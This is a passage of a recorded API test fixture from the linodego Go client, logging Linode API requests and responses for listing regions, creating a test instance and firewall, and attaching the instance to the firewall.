"" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/61874175 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 25 Jul 2024 17:44:49 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - account:read_write databases:read_write domains:read_write events:read_write firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.47.0/test/integration/fixtures/TestFirewallDevice_Get.yaml000066400000000000000000001121751474652371000320030ustar00rootroot00000000000000--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/regions?page=1 method: GET response: body: '{"data": [{"id": "ap-west", "label": "Mumbai, IN", "country": "in", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.105.34.5, 172.105.35.5, 172.105.36.5, 172.105.37.5, 172.105.38.5, 172.105.39.5, 172.105.40.5, 172.105.41.5, 172.105.42.5, 172.105.43.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ca-central", "label": "Toronto, CA", "country": "ca", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.105.0.5, 172.105.3.5, 172.105.4.5, 172.105.5.5, 172.105.6.5, 172.105.7.5, 172.105.8.5, 172.105.9.5, 172.105.10.5, 172.105.11.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-southeast", "label": "Sydney, AU", "country": "au", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.105.166.5, 172.105.169.5, 172.105.168.5, 172.105.172.5, 172.105.162.5, 172.105.170.5, 172.105.167.5, 172.105.171.5, 172.105.181.5, 172.105.161.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-iad", "label": "Washington, DC", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "139.144.192.62, 139.144.192.60, 139.144.192.61, 139.144.192.53, 139.144.192.54, 139.144.192.67, 139.144.192.69, 139.144.192.66, 139.144.192.52, 139.144.192.68", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-ord", "label": "Chicago, IL", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.0.17, 172.232.0.16, 172.232.0.21, 172.232.0.13, 172.232.0.22, 172.232.0.9, 172.232.0.19, 172.232.0.20, 172.232.0.15, 172.232.0.18", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "fr-par", "label": "Paris, FR", "country": "fr", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.32.21, 172.232.32.23, 172.232.32.17, 172.232.32.18, 172.232.32.16, 172.232.32.22, 172.232.32.20, 172.232.32.14, 172.232.32.11, 172.232.32.12", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-sea", "label": "Seattle, WA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.160.19, 172.232.160.21, 172.232.160.17, 172.232.160.15, 172.232.160.18, 172.232.160.8, 172.232.160.12, 172.232.160.11, 172.232.160.14, 172.232.160.16", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "br-gru", "label": "Sao Paulo, BR", "country": "br", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.233.0.4, 172.233.0.9, 172.233.0.7, 172.233.0.12, 172.233.0.5, 172.233.0.13, 172.233.0.10, 172.233.0.6, 172.233.0.8, 172.233.0.11", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "nl-ams", "label": "Amsterdam, NL", "country": "nl", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.233.33.36, 172.233.33.38, 172.233.33.35, 172.233.33.39, 172.233.33.34, 172.233.33.33, 172.233.33.31, 172.233.33.30, 172.233.33.37, 172.233.33.32", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "se-sto", "label": "Stockholm, SE", "country": "se", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.128.24, 172.232.128.26, 172.232.128.20, 172.232.128.22, 172.232.128.25, 172.232.128.19, 172.232.128.23, 172.232.128.18, 172.232.128.21, 172.232.128.27", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "es-mad", "label": "Madrid, ES", "country": "es", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.233.111.6, 172.233.111.17, 172.233.111.21, 172.233.111.25, 172.233.111.19, 172.233.111.12, 172.233.111.26, 172.233.111.16, 172.233.111.18, 172.233.111.9", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "in-maa", "label": "Chennai, IN", "country": "in", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.96.17, 172.232.96.26, 172.232.96.19, 172.232.96.20, 172.232.96.25, 172.232.96.21, 172.232.96.18, 172.232.96.22, 172.232.96.23, 172.232.96.24", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "jp-osa", "label": "Osaka, JP", "country": "jp", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.233.64.44, 172.233.64.43, 172.233.64.37, 172.233.64.40, 172.233.64.46, 172.233.64.41, 172.233.64.39, 172.233.64.42, 172.233.64.45, 172.233.64.38", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "it-mil", "label": "Milan, IT", "country": "it", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.192.19, 172.232.192.18, 172.232.192.16, 172.232.192.20, 172.232.192.24, 172.232.192.21, 172.232.192.22, 172.232.192.17, 172.232.192.15, 172.232.192.23", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-mia", "label": "Miami, FL", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.233.160.34, 172.233.160.27, 172.233.160.30, 172.233.160.29, 172.233.160.32, 172.233.160.28, 172.233.160.33, 172.233.160.26, 172.233.160.25, 172.233.160.31", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "id-cgk", "label": "Jakarta, ID", "country": "id", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.224.23, 172.232.224.32, 172.232.224.26, 172.232.224.27, 172.232.224.21, 172.232.224.24, 172.232.224.22, 172.232.224.20, 172.232.224.31, 172.232.224.28", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-lax", "label": "Los Angeles, CA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.233.128.45, 172.233.128.38, 172.233.128.53, 172.233.128.37, 172.233.128.34, 172.233.128.36, 172.233.128.33, 172.233.128.39, 172.233.128.43, 172.233.128.44", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-den-edge-1", "label": "Edge - Denver, CO", "country": "us", "capabilities": ["Linodes", "Cloud Firewall", "Distributed Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "173.223.100.53, 173.223.101.53", "ipv6": "1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "distributed"}, {"id": "de-ham-edge-1", "label": "Edge - Hamburg, DE", "country": "de", "capabilities": ["Linodes", "Cloud Firewall", "Distributed Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "173.223.100.53, 173.223.101.53", "ipv6": "1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "distributed"}, {"id": "fr-mrs-edge-1", "label": "Edge - Marseille, FR", "country": "fr", "capabilities": ["Linodes", "Cloud Firewall", "Distributed Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "173.223.100.53, 173.223.101.53", "ipv6": "1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "distributed"}, {"id": "za-jnb-edge-1", "label": "Edge - Johannesburg, ZA\t", "country": "za", "capabilities": ["Linodes", "Cloud Firewall", "Distributed Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "173.223.100.53, 173.223.101.53", "ipv6": "1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "distributed"}, {"id": "my-kul-edge-1", "label": "Edge - Kuala Lumpur, MY", "country": "my", "capabilities": ["Linodes", "Cloud Firewall", "Distributed Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "173.223.100.53, 173.223.101.53", "ipv6": "1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "distributed"}, {"id": "co-bog-edge-1", "label": "Edge - Bogot\u00e1, CO", "country": "co", "capabilities": ["Linodes", "Cloud Firewall", "Distributed Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "173.223.100.53, 173.223.101.53", "ipv6": "1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "distributed"}, {"id": "mx-qro-edge-1", "label": "Edge - Quer\u00e9taro, MX", "country": "mx", "capabilities": ["Linodes", "Cloud Firewall", "Distributed Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "173.223.100.53, 173.223.101.53", "ipv6": "1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "distributed"}, {"id": "us-hou-edge-1", "label": "Edge - Houston, TX", "country": "us", "capabilities": ["Linodes", "Cloud Firewall", "Distributed Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "173.223.100.53, 173.223.101.53", "ipv6": "1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "distributed"}, {"id": "cl-scl-edge-1", "label": "Edge - Santiago, CL", "country": "cl", "capabilities": ["Linodes", "Cloud Firewall", "Distributed Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "173.223.100.53, 173.223.101.53", "ipv6": "1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "distributed"}, {"id": "us-central", "label": "Dallas, TX", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "72.14.179.5, 72.14.188.5, 173.255.199.5, 66.228.53.5, 96.126.122.5, 96.126.124.5, 96.126.127.5, 198.58.107.5, 198.58.111.5, 23.239.24.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-west", "label": "Fremont, CA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "173.230.145.5, 173.230.147.5, 173.230.155.5, 173.255.212.5, 173.255.219.5, 173.255.241.5, 173.255.243.5, 173.255.244.5, 74.207.241.5, 74.207.242.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-southeast", "label": "Atlanta, GA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "74.207.231.5, 173.230.128.5, 173.230.129.5, 173.230.136.5, 173.230.140.5, 66.228.59.5, 66.228.62.5, 50.116.35.5, 50.116.41.5, 23.239.18.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-east", "label": "Newark, NJ", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "66.228.42.5, 96.126.106.5, 50.116.53.5, 50.116.58.5, 50.116.61.5, 50.116.62.5, 66.175.211.5, 97.107.133.4, 207.192.69.4, 207.192.69.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "eu-west", "label": "London, UK", "country": "gb", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "178.79.182.5, 176.58.107.5, 176.58.116.5, 176.58.121.5, 151.236.220.5, 212.71.252.5, 212.71.253.5, 109.74.192.20, 109.74.193.20, 109.74.194.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-south", "label": "Singapore, SG", "country": "sg", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "139.162.11.5, 139.162.13.5, 139.162.14.5, 139.162.15.5, 139.162.16.5, 139.162.21.5, 139.162.27.5, 103.3.60.18, 103.3.60.19, 103.3.60.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "eu-central", "label": "Frankfurt, DE", "country": "de", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "139.162.130.5, 139.162.131.5, 139.162.132.5, 139.162.133.5, 139.162.134.5, 139.162.135.5, 139.162.136.5, 139.162.137.5, 139.162.138.5, 139.162.139.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-northeast", "label": "Tokyo, JP", "country": "jp", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "139.162.66.5, 139.162.67.5, 139.162.68.5, 139.162.69.5, 139.162.70.5, 139.162.71.5, 139.162.72.5, 139.162.73.5, 139.162.74.5, 139.162.75.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}], "page": 1, "pages": 1, "results": 34}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 25 Jul 2024 17:44:45 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter - Accept-Encoding X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - account:read_write databases:read_write domains:read_write events:read_write firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"region":"ap-west","type":"g6-nanode-1","label":"go-test-ins-z2rj698v4z2r","root_pass":"mhUuo(P{43k{e]AIj4h+9jX25k|A\\(NF#0~D9XZ61*B2''Mdei8z-8i7U96M=}[yN","image":"linode/debian9","booted":false}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances method: POST response: body: '{"id": 61874173, "label": "go-test-ins-z2rj698v4z2r", "group": "", "status": "provisioning", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "type": "g6-nanode-1", "ipv4": ["45.79.120.205"], "ipv6": "1234::5678/128", "image": "linode/debian9", "region": "ap-west", "site_type": "core", "specs": {"disk": 25600, "memory": 1024, "vcpus": 1, "gpus": 0, "transfer": 1000}, "alerts": {"cpu": 90, "network_in": 10, "network_out": 10, "transfer_quota": 80, "io": 10000}, "backups": {"enabled": true, "available": false, "schedule": {"day": null, "window": null}, "last_successful": null}, "hypervisor": "kvm", "watchdog_enabled": true, "tags": [], "host_uuid": "c37a9389a8780ce12d745d3f703cbee667a6278e", "has_user_data": false, "placement_group": null, "lke_cluster_id": null}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "810" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 25 Jul 2024 17:44:45 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - account:read_write databases:read_write domains:read_write events:read_write firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write volumes:read_write vpc:read_write X-Ratelimit-Limit: - "10" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"label":"linodego-fw-test","rules":{"inbound":[{"action":"ACCEPT","label":"go-fwrule-test","ports":"22","protocol":"TCP","addresses":{"ipv4":["0.0.0.0/0"],"ipv6":["1234::5678/0"]}}],"inbound_policy":"ACCEPT","outbound":[{"action":"ACCEPT","label":"go-fwrule-test","ports":"22","protocol":"TCP","addresses":{"ipv4":["0.0.0.0/0"],"ipv6":["1234::5678/0"]}}],"outbound_policy":"ACCEPT"},"tags":["testing"],"devices":{}}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/networking/firewalls method: POST response: body: '{"id": 692862, "label": "linodego-fw-test", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "status": "enabled", "rules": {"inbound": [{"action": "ACCEPT", "label": "go-fwrule-test", "ports": "22", "protocol": "TCP", "addresses": {"ipv4": ["0.0.0.0/0"], "ipv6": ["1234::5678/0"]}}], "inbound_policy": "ACCEPT", "outbound": [{"action": "ACCEPT", "label": "go-fwrule-test", "ports": "22", "protocol": "TCP", "addresses": {"ipv4": ["0.0.0.0/0"], "ipv6": ["1234::5678/0"]}}], "outbound_policy": "ACCEPT", "version": 1, "fingerprint": "7bcc0f03"}, "tags": ["testing"], "entities": []}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "583" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 25 Jul 2024 17:44:46 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - firewall:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - account:read_write databases:read_write domains:read_write events:read_write firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"id":61874173,"type":"linode"}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/networking/firewalls/692862/devices method: POST response: body: '{"id": 1464173, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "entity": {"id": 61874173, "type": "linode", "label": "go-test-ins-z2rj698v4z2r", "url": "/v4/linode/instances/61874173"}}' headers: Access-Control-Allow-Credentials: - "true" 